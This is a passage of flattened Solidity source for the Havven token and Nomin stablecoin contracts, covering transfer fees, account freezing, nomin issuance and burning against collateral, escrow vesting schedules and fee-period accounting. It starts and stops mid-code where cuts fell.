tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), n)); emitFeesDonated(sender, n); emitTransfer(sender, FEE_ADDRESS, n); return true; } /* ========== MODIFIERS ========== */ modifier onlyFeeAuthority { require(msg.sender == feeAuthority, "Only the fee authority can do this action"); _; } /* ========== EVENTS ========== */ event TransferFeeRateUpdated(uint newFeeRate); bytes32 constant TRANSFERFEERATEUPDATED_SIG = keccak256("TransferFeeRateUpdated(uint256)"); function emitTransferFeeRateUpdated(uint newFeeRate) internal { proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEERATEUPDATED_SIG, 0, 0, 0); } event FeeAuthorityUpdated(address newFeeAuthority); bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)"); function emitFeeAuthorityUpdated(address newFeeAuthority) internal { proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0); } event FeesWithdrawn(address indexed account, uint value); bytes32 constant FEESWITHDRAWN_SIG = keccak256("FeesWithdrawn(address,uint256)"); function emitFeesWithdrawn(address account, uint value) internal { proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0); } event FeesDonated(address indexed donor, uint value); bytes32 constant FEESDONATED_SIG = keccak256("FeesDonated(address,uint256)"); function emitFeesDonated(address donor, uint value) internal { proxy._emit(abi.encode(value), 2, FEESDONATED_SIG, bytes32(donor), 0, 0); } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: Nomin.sol version: 1.2 author: Anton Jurisevic Mike Spain Dominic Romanowski Kevin Brown date: 2018-05-29 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- Havven-backed nomin stablecoin contract. This contract issues nomins, which are tokens worth 1 USD each. Nomins are issuable by Havven holders who have to lock up some value of their havvens to issue H * Cmax nomins. Where Cmax is some value less than 1. A configurable fee is charged on nomin transfers and deposited into a common pot, which havven holders may withdraw from once per fee period. ----------------------------------------------------------------- */ contract Nomin is FeeToken { /* ========== STATE VARIABLES ========== */ Havven public havven; // Accounts which have lost the privilege to transact in nomins. mapping(address => bool) public frozen; // Nomin transfers incur a 15 bp fee by default. uint constant TRANSFER_FEE_RATE = 15 * UNIT / 10000; string constant TOKEN_NAME = "Nomin USD"; string constant TOKEN_SYMBOL = "nUSD"; /* ========== CONSTRUCTOR ========== */ constructor(address _proxy, TokenState _tokenState, Havven _havven, uint _totalSupply, address _owner) FeeToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, TRANSFER_FEE_RATE, _havven, // The havven contract is the fee authority. _owner) public { require(_proxy != 0, "_proxy cannot be 0"); require(address(_havven) != 0, "_havven cannot be 0"); require(_owner != 0, "_owner cannot be 0"); // It should not be possible to transfer to the fee pool directly (or confiscate its balance). frozen[FEE_ADDRESS] = true; havven = _havven; } /* ========== SETTERS ========== */ function setHavven(Havven _havven) external optionalProxy_onlyOwner { // havven should be set as the feeAuthority after calling this depending on // havven&#39;s internal logic havven = _havven; setFeeAuthority(_havven); emitHavvenUpdated(_havven); } /* ========== MUTATIVE FUNCTIONS ========== */ /* Override ERC20 transfer function in order to check * whether the recipient account is frozen. Note that there is * no need to check whether the sender has a frozen account, * since their funds have already been confiscated, * and no new funds can be transferred to it.*/ function transfer(address to, uint value) public optionalProxy returns (bool) { require(!frozen[to], "Cannot transfer to frozen address"); return _transfer_byProxy(messageSender, to, value); } /* Override ERC20 transferFrom function in order to check * whether the recipient account is frozen. */ function transferFrom(address from, address to, uint value) public optionalProxy returns (bool) { require(!frozen[to], "Cannot transfer to frozen address"); return _transferFrom_byProxy(messageSender, from, to, value); } function transferSenderPaysFee(address to, uint value) public optionalProxy returns (bool) { require(!frozen[to], "Cannot transfer to frozen address"); return _transferSenderPaysFee_byProxy(messageSender, to, value); } function transferFromSenderPaysFee(address from, address to, uint value) public optionalProxy returns (bool) { require(!frozen[to], "Cannot transfer to frozen address"); return _transferFromSenderPaysFee_byProxy(messageSender, from, to, value); } /* The owner may allow a previously-frozen contract to once * again accept and transfer nomins. */ function unfreezeAccount(address target) external optionalProxy_onlyOwner { require(frozen[target] && target != FEE_ADDRESS, "Account must be frozen, and cannot be the fee address"); frozen[target] = false; emitAccountUnfrozen(target); } /* Allow havven to issue a certain number of * nomins from an account. */ function issue(address account, uint amount) external onlyHavven { tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), amount)); totalSupply = safeAdd(totalSupply, amount); emitTransfer(address(0), account, amount); emitIssued(account, amount); } /* Allow havven to burn a certain number of * nomins from an account. */ function burn(address account, uint amount) external onlyHavven { tokenState.setBalanceOf(account, safeSub(tokenState.balanceOf(account), amount)); totalSupply = safeSub(totalSupply, amount); emitTransfer(account, address(0), amount); emitBurned(account, amount); } /* ========== MODIFIERS ========== */ modifier onlyHavven() { require(Havven(msg.sender) == havven, "Only the Havven contract can perform this action"); _; } /* ========== EVENTS ========== */ event HavvenUpdated(address newHavven); bytes32 constant HAVVENUPDATED_SIG = keccak256("HavvenUpdated(address)"); function emitHavvenUpdated(address newHavven) internal { proxy._emit(abi.encode(newHavven), 1, HAVVENUPDATED_SIG, 0, 0, 0); } event AccountFrozen(address indexed target, uint balance); bytes32 constant ACCOUNTFROZEN_SIG = keccak256("AccountFrozen(address,uint256)"); function emitAccountFrozen(address target, uint balance) internal { proxy._emit(abi.encode(balance), 2, ACCOUNTFROZEN_SIG, bytes32(target), 0, 0); } event AccountUnfrozen(address indexed target); bytes32 constant ACCOUNTUNFROZEN_SIG = keccak256("AccountUnfrozen(address)"); function emitAccountUnfrozen(address target) internal { proxy._emit(abi.encode(), 2, ACCOUNTUNFROZEN_SIG, bytes32(target), 0, 0); } event Issued(address indexed account, uint amount); bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)"); function emitIssued(address account, uint amount) internal { proxy._emit(abi.encode(amount), 2, ISSUED_SIG, bytes32(account), 0, 0); } event Burned(address indexed account, uint amount); bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)"); function emitBurned(address account, uint amount) internal { proxy._emit(abi.encode(amount), 2, BURNED_SIG, bytes32(account), 0, 0); } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: LimitedSetup.sol version: 1.1 author: Anton Jurisevic date: 2018-05-15 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A contract with a limited setup period. Any function modified with the setup modifier will cease to work after the conclusion of the configurable-length post-construction setup period. ----------------------------------------------------------------- */ /** * @title Any function decorated with the modifier this contract provides * deactivates after a specified setup period. */ contract LimitedSetup { uint setupExpiryTime; /** * @dev LimitedSetup Constructor. * @param setupDuration The time the setup period will last for. */ constructor(uint setupDuration) public { setupExpiryTime = now + setupDuration; } modifier onlyDuringSetup { require(now < setupExpiryTime, "Can only perform this action during setup"); _; } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: HavvenEscrow.sol version: 1.1 author: Anton Jurisevic Dominic Romanowski Mike Spain date: 2018-05-29 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- This contract allows the foundation to apply unique vesting schedules to havven funds sold at various discounts in the token sale. HavvenEscrow gives users the ability to inspect their vested funds, their quantities and vesting dates, and to withdraw the fees that accrue on those funds. The fees are handled by withdrawing the entire fee allocation for all havvens inside the escrow contract, and then allowing the contract itself to subdivide that pool up proportionally within itself. Every time the fee period rolls over in the main Havven contract, the HavvenEscrow fee pool is remitted back into the main fee pool to be redistributed in the next fee period. ----------------------------------------------------------------- */ /** * @title A contract to hold escrowed havvens and free them at given schedules. */ contract HavvenEscrow is SafeDecimalMath, Owned, LimitedSetup(8 weeks) { /* The corresponding Havven contract. */ Havven public havven; /* Lists of (timestamp, quantity) pairs per account, sorted in ascending time order. * These are the times at which each given quantity of havvens vests. */ mapping(address => uint[2][]) public vestingSchedules; /* An account&#39;s total vested havven balance to save recomputing this for fee extraction purposes. */ mapping(address => uint) public totalVestedAccountBalance; /* The total remaining vested balance, for verifying the actual havven balance of this contract against. */ uint public totalVestedBalance; uint constant TIME_INDEX = 0; uint constant QUANTITY_INDEX = 1; /* Limit vesting entries to disallow unbounded iteration over vesting schedules. */ uint constant MAX_VESTING_ENTRIES = 20; /* ========== CONSTRUCTOR ========== */ constructor(address _owner, Havven _havven) Owned(_owner) public { havven = _havven; } /* ========== SETTERS ========== */ function setHavven(Havven _havven) external onlyOwner { havven = _havven; emit HavvenUpdated(_havven); } /* ========== VIEW FUNCTIONS ========== */ /** * @notice A simple alias to totalVestedAccountBalance: provides ERC20 balance integration. */ function balanceOf(address account) public view returns (uint) { return totalVestedAccountBalance[account]; } /** * @notice The number of vesting dates in an account&#39;s schedule. */ function numVestingEntries(address account) public view returns (uint) { return vestingSchedules[account].length; } /** * @notice Get a particular schedule entry for an account. * @return A pair of uints: (timestamp, havven quantity). */ function getVestingScheduleEntry(address account, uint index) public view returns (uint[2]) { return vestingSchedules[account][index]; } /** * @notice Get the time at which a given schedule entry will vest. */ function getVestingTime(address account, uint index) public view returns (uint) { return getVestingScheduleEntry(account,index)[TIME_INDEX]; } /** * @notice Get the quantity of havvens associated with a given schedule entry. */ function getVestingQuantity(address account, uint index) public view returns (uint) { return getVestingScheduleEntry(account,index)[QUANTITY_INDEX]; } /** * @notice Obtain the index of the next schedule entry that will vest for a given user. */ function getNextVestingIndex(address account) public view returns (uint) { uint len = numVestingEntries(account); for (uint i = 0; i < len; i++) { if (getVestingTime(account, i) != 0) { return i; } } return len; } /** * @notice Obtain the next schedule entry that will vest for a given user. * @return A pair of uints: (timestamp, havven quantity). */ function getNextVestingEntry(address account) public view returns (uint[2]) { uint index = getNextVestingIndex(account); if (index == numVestingEntries(account)) { return [uint(0), 0]; } return getVestingScheduleEntry(account, index); } /** * @notice Obtain the time at which the next schedule entry will vest for a given user. */ function getNextVestingTime(address account) external view returns (uint) { return getNextVestingEntry(account)[TIME_INDEX]; } /** * @notice Obtain the quantity which the next schedule entry will vest for a given user. */ function getNextVestingQuantity(address account) external view returns (uint) { return getNextVestingEntry(account)[QUANTITY_INDEX]; } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Withdraws a quantity of havvens back to the havven contract. * @dev This may only be called by the owner during the contract&#39;s setup period. */ function withdrawHavvens(uint quantity) external onlyOwner onlyDuringSetup { havven.transfer(havven, quantity); } /** * @notice Destroy the vesting information associated with an account. */ function purgeAccount(address account) external onlyOwner onlyDuringSetup { delete vestingSchedules[account]; totalVestedBalance = safeSub(totalVestedBalance, totalVestedAccountBalance[account]); delete totalVestedAccountBalance[account]; } /** * @notice Add a new vesting entry at a given time and quantity to an account&#39;s schedule. * @dev A call to this should be accompanied by either enough balance already available * in this contract, or a corresponding call to havven.endow(), to ensure that when * the funds are withdrawn, there is enough balance, as well as correctly calculating * the fees. * This may only be called by the owner during the contract&#39;s setup period. * Note; although this function could technically be used to produce unbounded * arrays, it&#39;s only in the foundation&#39;s command to add to these lists. * @param account The account to append a new vesting entry to. * @param time The absolute unix timestamp after which the vested quantity may be withdrawn. * @param quantity The quantity of havvens that will vest. */ function appendVestingEntry(address account, uint time, uint quantity) public onlyOwner onlyDuringSetup { /* No empty or already-passed vesting entries allowed. */ require(now < time, "Time must be in the future"); require(quantity != 0, "Quantity cannot be zero"); /* There must be enough balance in the contract to provide for the vesting entry. */ totalVestedBalance = safeAdd(totalVestedBalance, quantity); require(totalVestedBalance <= havven.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry"); /* Disallow arbitrarily long vesting schedules in light of the gas limit. */ uint scheduleLength = vestingSchedules[account].length; require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long"); if (scheduleLength == 0) { totalVestedAccountBalance[account] = quantity; } else { /* Disallow adding new vested havvens earlier than the last one. * Since entries are only appended, this means that no vesting date can be repeated. */ require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one"); totalVestedAccountBalance[account] = safeAdd(totalVestedAccountBalance[account], quantity); } vestingSchedules[account].push([time, quantity]); } /** * @notice Construct a vesting schedule to release a quantities of havvens * over a series of intervals. * @dev Assumes that the quantities are nonzero * and that the sequence of timestamps is strictly increasing. * This may only be called by the owner during the contract&#39;s setup period. */ function addVestingSchedule(address account, uint[] times, uint[] quantities) external onlyOwner onlyDuringSetup { for (uint i = 0; i < times.length; i++) { appendVestingEntry(account, times[i], quantities[i]); } } /** * @notice Allow a user to withdraw any havvens in their schedule that have vested. */ function vest() external { uint numEntries = numVestingEntries(msg.sender); uint total; for (uint i = 0; i < numEntries; i++) { uint time = getVestingTime(msg.sender, i); /* The list is sorted; when we reach the first future time, bail out. */ if (time > now) { break; } uint qty = getVestingQuantity(msg.sender, i); if (qty == 0) { continue; } vestingSchedules[msg.sender][i] = [0, 0]; total = safeAdd(total, qty); } if (total != 0) { totalVestedBalance = safeSub(totalVestedBalance, total); totalVestedAccountBalance[msg.sender] = safeSub(totalVestedAccountBalance[msg.sender], total); havven.transfer(msg.sender, total); emit Vested(msg.sender, now, total); } } /* ========== EVENTS ========== */ event HavvenUpdated(address newHavven); event Vested(address indexed beneficiary, uint time, uint value); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: Havven.sol version: 1.2 author: Anton Jurisevic Dominic Romanowski date: 2018-05-15 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- Havven token contract. Havvens are transferable ERC20 tokens, and also give their holders the following privileges. An owner of havvens may participate in nomin confiscation votes, they may also have the right to issue nomins at the discretion of the foundation for this version of the contract. After a fee period terminates, the duration and fees collected for that period are computed, and the next period begins. Thus an account may only withdraw the fees owed to them for the previous period, and may only do so once per period. Any unclaimed fees roll over into the common pot for the next period. == Average Balance Calculations == The fee entitlement of a havven holder is proportional to their average issued nomin balance over the last fee period. This is computed by measuring the area under the graph of a user&#39;s issued nomin balance over time, and then when a new fee period begins, dividing through by the duration of the fee period. We need only update values when the balances of an account is modified. This occurs when issuing or burning for issued nomin balances, and when transferring for havven balances. This is for efficiency, and adds an implicit friction to interacting with havvens. A havven holder pays for his own recomputation whenever he wants to change his position, which saves the foundation having to maintain a pot dedicated to resourcing this. A hypothetical user&#39;s balance history over one fee period, pictorially: s ____ | | | |___ p |____|___|___ __ _ _ f t n Here, the balance was s between times f and t, at which time a transfer occurred, updating the balance to p, until n, when the present transfer occurs. When a new transfer occurs at time n, the balance being p, we must: - Add the area p * (n - t) to the total area recorded so far - Update the last transfer time to n So if this graph represents the entire current fee period, the average havvens held so far is ((t-f)*s + (n-t)*p) / (n-f). The complementary computations must be performed for both sender and recipient. Note that a transfer keeps global supply of havvens invariant. The sum of all balances is constant, and unmodified by any transfer. So the sum of all balances multiplied by the duration of a fee period is also constant, and this is equivalent to the sum of the area of every user&#39;s time/balance graph. Dividing through by that duration yields back the total havven supply. So, at the end of a fee period, we really do yield a user&#39;s average share in the havven supply over that period. A slight wrinkle is introduced if we consider the time r when the fee period rolls over. Then the previous fee period k-1 is before r, and the current fee period k is afterwards. If the last transfer took place before r, but the latest transfer occurred afterwards: k-1 | k s __|_ | | | | | |____ p |__|_|____|___ __ _ _ | f | t n r In this situation the area (r-f)*s contributes to fee period k-1, while the area (t-r)*s contributes to fee period k. We will implicitly consider a zero-value transfer to have occurred at time r. Their fee entitlement for the previous period will be finalised at the time of their first transfer during the current fee period, or when they query or withdraw their fee entitlement. In the implementation, the duration of different fee periods may be slightly irregular, as the check that they have rolled over occurs only when state-changing havven operations are performed. == Issuance and Burning == In this version of the havven contract, nomins can only be issued by those that have been nominated by the havven foundation. Nomins are assumed to be valued at $1, as they are a stable unit of account. All nomins issued require a proportional value of havvens to be locked, where the proportion is governed by the current issuance ratio. This means for every $1 of Havvens locked up, $(issuanceRatio) nomins can be issued. i.e. to issue 100 nomins, 100/issuanceRatio dollars of havvens need to be locked up. To determine the value of some amount of havvens(H), an oracle is used to push the price of havvens (P_H) in dollars to the contract. The value of H would then be: H * P_H. Any havvens that are locked up by this issuance process cannot be transferred. The amount that is locked floats based on the price of havvens. If the price of havvens moves up, less havvens are locked, so they can be issued against, or transferred freely. If the price of havvens moves down, more havvens are locked, even going above the initial wallet balance. ----------------------------------------------------------------- */ /** * @title Havven ERC20 contract. * @notice The Havven contracts does not only facilitate transfers and track balances, * but it also computes the quantity of fees each havven holder is entitled to. */ contract Havven is ExternStateToken { /* ========== STATE VARIABLES ========== */ /* A struct for handing values associated with average balance calculations */ struct IssuanceData { /* Sums of balances*duration in the current fee period. /* range: decimals; units: havven-seconds */ uint currentBalanceSum; /* The last period&#39;s average balance */ uint lastAverageBalance; /* The last time the data was calculated */ uint lastModified; } /* Issued nomin balances for individual fee entitlements */ mapping(address => IssuanceData) public issuanceData; /* The total number of issued nomins for determining fee entitlements */ IssuanceData public totalIssuanceData; /* The time the current fee period began */ uint public feePeriodStartTime; /* The time the last fee period began */ uint public lastFeePeriodStartTime; /* Fee periods will roll over in no shorter a time than this. * The fee period cannot actually roll over until a fee-relevant * operation such as withdrawal or a fee period duration update occurs, * so this is just a target, and the actual duration may be slightly longer. */ uint public feePeriodDuration = 4 weeks; /* ...and must target between 1 day and six months. */ uint constant MIN_FEE_PERIOD_DURATION = 1 days; uint constant MAX_FEE_PERIOD_DURATION = 26 weeks; /* The quantity of nomins that were in the fee pot at the time */ /* of the last fee rollover, at feePeriodStartTime. */ uint public lastFeesCollected; /* Whether a user has withdrawn their last fees */ mapping(address => bool) public hasWithdrawnFees; Nomin public nomin; HavvenEscrow public escrow; /* The address of the oracle which pushes the havven price to this contract */ address public oracle; /* The price of havvens written in UNIT */ uint public price; /* The time the havven price was last updated */ uint public lastPriceUpdateTime; /* How long will the contract assume the price of havvens is correct */ uint public priceStalePeriod = 3 hours; /* A quantity of nomins greater than this ratio * may not be issued against a given value of havvens. */ uint public issuanceRatio = UNIT / 5; /* No more nomins may be issued than the value of havvens backing them. */ uint constant MAX_ISSUANCE_RATIO = UNIT; /* Whether the address can issue nomins or not. */ mapping(address => bool) public isIssuer; /* The number of currently-outstanding nomins the user has issued. */ mapping(address => uint) public nominsIssued; uint constant HAVVEN_SUPPLY = 1e8 * UNIT; uint constant ORACLE_FUTURE_LIMIT = 10 minutes; string constant TOKEN_NAME = "Havven"; string constant TOKEN_SYMBOL = "HAV"; /* ========== CONSTRUCTOR ========== */ /** * @dev Constructor * @param _tokenState A pre-populated contract containing token balances. * If the provided address is 0x0, then a fresh one will be constructed with the contract owning all tokens. * @param _owner The owner of this contract. */ constructor(address _proxy, TokenState _tokenState, address _owner, address _oracle, uint _price, address[] _issuers, Havven _oldHavven) ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, HAVVEN_SUPPLY, _owner) public { oracle = _oracle; price = _price; lastPriceUpdateTime = now; uint i; if (_oldHavven == address(0)) { feePeriodStartTime = now; lastFeePeriodStartTime = now - feePeriodDuration; for (i = 0; i < _issuers.length; i++) { isIssuer[_issuers[i]] = true; } } else { feePeriodStartTime = _oldHavven.feePeriodStartTime(); lastFeePeriodStartTime = _oldHavven.lastFeePeriodStartTime(); uint cbs; uint lab; uint lm; (cbs, lab, lm) = _oldHavven.totalIssuanceData(); totalIssuanceData.currentBalanceSum = cbs; totalIssuanceData.lastAverageBalance = lab; totalIssuanceData.lastModified = lm; for (i = 0; i < _issuers.length; i++) { address issuer = _issuers[i]; isIssuer[issuer] = true; uint nomins = _oldHavven.nominsIssued(issuer); if (nomins == 0) { // It is not valid in general to skip those with no currently-issued nomins. // But for this release, issuers with nonzero issuanceData have current issuance. continue; } (cbs, lab, lm) = _oldHavven.issuanceData(issuer); nominsIssued[issuer] = nomins; issuanceData[issuer].currentBalanceSum = cbs; issuanceData[issuer].lastAverageBalance = lab; issuanceData[issuer].lastModified = lm; } } } /* ========== SETTERS ========== */ /** * @notice Set the associated Nomin contract to collect fees from. * @dev Only the contract owner may call this. */ function setNomin(Nomin _nomin) external optionalProxy_onlyOwner { nomin = _nomin; emitNominUpdated(_nomin); } /** * @notice Set the associated havven escrow contract. * @dev Only the contract owner may call this. */ function setEscrow(HavvenEscrow _escrow) external optionalProxy_onlyOwner { escrow = _escrow; emitEscrowUpdated(_escrow); } /** * @notice Set the targeted fee period duration. * @dev Only callable by the contract owner. The duration must fall within * acceptable bounds (1 day to 26 weeks). Upon resetting this the fee period * may roll over if the target duration was shortened sufficiently. */ function setFeePeriodDuration(uint duration) external optionalProxy_onlyOwner { require(MIN_FEE_PERIOD_DURATION <= duration && duration <= MAX_FEE_PERIOD_DURATION, "Duration must be between MIN_FEE_PERIOD_DURATION and MAX_FEE_PERIOD_DURATION"); feePeriodDuration = duration; emitFeePeriodDurationUpdated(duration); rolloverFeePeriodIfElapsed(); } /** * @notice Set the Oracle that pushes the havven price to this contract */ function setOracle(address _oracle) external optionalProxy_onlyOwner { oracle = _oracle; emitOracleUpdated(_oracle); } /** * @notice Set the stale period on the updated havven price * @dev No max/minimum, as changing it wont influence anything but issuance by the foundation */ function setPriceStalePeriod(uint time) external optionalProxy_onlyOwner { priceStalePeriod = time; } /** * @notice Set the issuanceRatio for issuance calculations. * @dev Only callable by the contract owner. */ function setIssuanceRatio(uint _issuanceRatio) external optionalProxy_onlyOwner { require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio must be less than or equal to MAX_ISSUANCE_RATIO"); issuanceRatio = _issuanceRatio; emitIssuanceRatioUpdated(_issuanceRatio); } /** * @notice Set whether the specified can issue nomins or not. */ function setIssuer(address account, bool value) external optionalProxy_onlyOwner { isIssuer[account] = value; emitIssuersUpdated(account, value); } /* ========== VIEWS ========== */ function issuanceCurrentBalanceSum(address account) external view returns (uint) { return issuanceData[account].currentBalanceSum; } function issuanceLastAverageBalance(address account) external view returns (uint) { return issuanceData[account].lastAverageBalance; } function issuanceLastModified(address account) external view returns (uint) { return issuanceData[account].lastModified; } function totalIssuanceCurrentBalanceSum() external view returns (uint) { return totalIssuanceData.currentBalanceSum; } function totalIssuanceLastAverageBalance() external view returns (uint) { return totalIssuanceData.lastAverageBalance; } function totalIssuanceLastModified() external view returns (uint) { return totalIssuanceData.lastModified; } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice ERC20 transfer function. */ function transfer(address to, uint value) public optionalProxy returns (bool) { address sender = messageSender; require(nominsIssued[sender] == 0 || value <= transferableHavvens(sender), "Value to transfer exceeds available havvens"); /* Perform the transfer: if there is a problem, * an exception will be thrown in this call. */ _transfer_byProxy(sender, to, value); return true; } /** * @notice ERC20 transferFrom function. */ function transferFrom(address from, address to, uint value) public optionalProxy returns (bool) { address sender = messageSender; require(nominsIssued[from] == 0 || value <= transferableHavvens(from), "Value to transfer exceeds available havvens"); /* Perform the transfer: if there is a problem, * an exception will be thrown in this call. */ _transferFrom_byProxy(sender, from, to, value); return true; } /** * @notice Compute the last period&#39;s fee entitlement for the message sender * and then deposit it into their nomin account. */ function withdrawFees() external optionalProxy { address sender = messageSender; rolloverFeePeriodIfElapsed(); /* Do not deposit fees into frozen accounts. */ require(!nomin.frozen(sender), "Cannot deposit fees into frozen accounts"); /* Check the period has rolled over first. */ updateIssuanceData(sender, nominsIssued[sender], nomin.totalSupply()); /* Only allow accounts to withdraw fees once per period. */ require(!hasWithdrawnFees[sender], "Fees have already been withdrawn in this period"); uint feesOwed; uint lastTotalIssued = totalIssuanceData.lastAverageBalance; if (lastTotalIssued > 0) { /* Sender receives a share of last period&#39;s collected fees proportional * with their average fraction of the last period&#39;s issued nomins. */ feesOwed = safeDiv_dec( safeMul_dec(issuanceData[sender].lastAverageBalance, lastFeesCollected), lastTotalIssued ); } hasWithdrawnFees[sender] = true; if (feesOwed != 0) { nomin.withdrawFees(sender, feesOwed); } emitFeesWithdrawn(messageSender, feesOwed); } /** * @notice Update the havven balance averages since the last transfer * or entitlement adjustment. * @dev Since this updates the last transfer timestamp, if invoked * consecutively, this function will do nothing after the first call. * Also, this will adjust the total issuance at the same time. */ function updateIssuanceData(address account, uint preBalance, uint lastTotalSupply) internal { /* update the total balances first */ totalIssuanceData = computeIssuanceData(lastTotalSupply, totalIssuanceData); if (issuanceData[account].lastModified < feePeriodStartTime) { hasWithdrawnFees[account] = false; } issuanceData[account] = computeIssuanceData(preBalance, issuanceData[account]); } /** * @notice Compute the new IssuanceData on the old balance */ function computeIssuanceData(uint preBalance, IssuanceData preIssuance) internal view returns (IssuanceData) { uint currentBalanceSum = preIssuance.currentBalanceSum; uint lastAverageBalance = preIssuance.lastAverageBalance; uint lastModified = preIssuance.lastModified; if (lastModified < feePeriodStartTime) { if (lastModified < lastFeePeriodStartTime) { /* The balance was last updated before the previous fee period, so the average * balance in this period is their pre-transfer balance. */ lastAverageBalance = preBalance; } else { /* The balance was last updated during the previous fee period. */ /* No overflow or zero denominator problems, since lastFeePeriodStartTime < feePeriodStartTime < lastModified. * implies these quantities are strictly positive. */ uint timeUpToRollover = feePeriodStartTime - lastModified; uint lastFeePeriodDuration = feePeriodStartTime - lastFeePeriodStartTime; uint lastBalanceSum = safeAdd(currentBalanceSum, safeMul(preBalance, timeUpToRollover)); lastAverageBalance = lastBalanceSum / lastFeePeriodDuration; } /* Roll over to the next fee period. */ currentBalanceSum = safeMul(preBalance, now - feePeriodStartTime); } else { /* The balance was last updated during the current fee period. */ currentBalanceSum = safeAdd( currentBalanceSum, safeMul(preBalance, now - lastModified) ); } return IssuanceData(currentBalanceSum, lastAverageBalance, now); } /** * @notice Recompute and return the given account&#39;s last average balance. */ function recomputeLastAverageBalance(address account) external returns (uint) { updateIssuanceData(account, nominsIssued[account], nomin.totalSupply()); return issuanceData[account].lastAverageBalance; } /** * @notice Issue nomins against the sender&#39;s havvens. * @dev Issuance is only allowed if the havven price isn&#39;t stale and the sender is an issuer. */ function issueNomins(uint amount) public optionalProxy requireIssuer(messageSender) /* No need to check if price is stale, as it is checked in issuableNomins. */ { address sender = messageSender; require(amount <= remainingIssuableNomins(sender), "Amount must be less than or equal to remaining issuable nomins"); uint lastTot = nomin.totalSupply(); uint preIssued = nominsIssued[sender]; nomin.issue(sender, amount); nominsIssued[sender] = safeAdd(preIssued, amount); updateIssuanceData(sender, preIssued, lastTot); } function issueMaxNomins() external optionalProxy { issueNomins(remainingIssuableNomins(messageSender)); } /** * @notice Burn nomins to clear issued nomins/free havvens. */ function burnNomins(uint amount) /* it doesn&#39;t matter if the price is stale or if the user is an issuer, as non-issuers have issued no nomins.*/ external optionalProxy { address sender = messageSender; uint lastTot = nomin.totalSupply(); uint preIssued = nominsIssued[sender]; /* nomin.burn does a safeSub on balance (so it will revert if there are not enough nomins). */ nomin.burn(sender, amount); /* This safe sub ensures amount <= number issued */ nominsIssued[sender] = safeSub(preIssued, amount); updateIssuanceData(sender, preIssued, lastTot); } /** * @notice Check if the fee period has rolled over. If it has, set the new fee period start * time, and record the fees collected in the nomin contract. */ function rolloverFeePeriodIfElapsed() public { /* If the fee period has rolled over... */ if (now >= feePeriodStartTime + feePeriodDuration) { lastFeesCollected = nomin.feePool(); lastFeePeriodStartTime = feePeriodStartTime; feePeriodStartTime = now; emitFeePeriodRollover(now); } } /* ========== Issuance/Burning ========== */ /** * @notice The maximum nomins an issuer can issue against their total havven quantity. This ignores any * already issued nomins. */ function maxIssuableNomins(address issuer) view public priceNotStale returns (uint) { if (!isIssuer[issuer]) { return 0; } if (escrow != HavvenEscrow(0)) { uint totalOwnedHavvens = safeAdd(tokenState.balanceOf(issuer), escrow.balanceOf(issuer)); return safeMul_dec(HAVtoUSD(totalOwnedHavvens), issuanceRatio); } else { return safeMul_dec(HAVtoUSD(tokenState.balanceOf(issuer)), issuanceRatio); } } /** * @notice The remaining nomins an issuer can issue against their total havven quantity. */ function remainingIssuableNomins(address issuer) view public returns (uint) { uint issued = nominsIssued[issuer]; uint max = maxIssuableNomins(issuer); if (issued > max) { return 0; } else { return safeSub(max, issued); } } /** * @notice The total havvens owned by this account, both escrowed and unescrowed, * against which nomins can be issued. * This includes those already being used as collateral (locked), and those * available for further issuance (unlocked). */ function collateral(address account) public view returns (uint) { uint bal = tokenState.balanceOf(account); if (escrow != address(0)) { bal = safeAdd(bal, escrow.balanceOf(account)); } return bal; } /** * @notice The collateral that would be locked by issuance, which can exceed the account&#39;s actual collateral. */ function issuanceDraft(address account) public view returns (uint) { uint issued = nominsIssued[account]; if (issued == 0) { return 0; } return USDtoHAV(safeDiv_dec(issued, issuanceRatio)); } /** * @notice Collateral that has been locked due to issuance, and cannot be * transferred to other addresses. This is capped at the account&#39;s total collateral. */ function lockedCollateral(address account) public view returns (uint) { uint debt = issuanceDraft(account); uint collat = collateral(account); if (debt > collat) { return collat; } return debt; } /** * @notice Collateral that is not locked and available for issuance. */ function unlockedCollateral(address account) public view returns (uint) { uint locked = lockedCollateral(account); uint collat = collateral(account); return safeSub(collat, locked); } /** * @notice The number of havvens that are free to be transferred by an account. * @dev If they have enough available Havvens, it could be that * their havvens are escrowed, however the transfer would then * fail. This means that escrowed havvens are locked first, * and then the actual transferable ones. */ function transferableHavvens(address account) public view returns (uint) { uint draft = issuanceDraft(account); uint collat = collateral(account); // In the case where the issuanceDraft exceeds the collateral, nothing is free if (draft > collat) { return 0; } uint bal = balanceOf(account); // In the case where the draft exceeds the escrow, but not the whole collateral // return the fraction of the balance that remains free if (draft > safeSub(collat, bal)) { return safeSub(collat, draft); } // In the case where the draft doesn&#39;t exceed the escrow, return the entire balance return bal; } /** * @notice The value in USD for a given amount of HAV */ function HAVtoUSD(uint hav_dec) public view priceNotStale returns (uint) { return safeMul_dec(hav_dec, price); } /** * @notice The value in HAV for a given amount of USD */ function 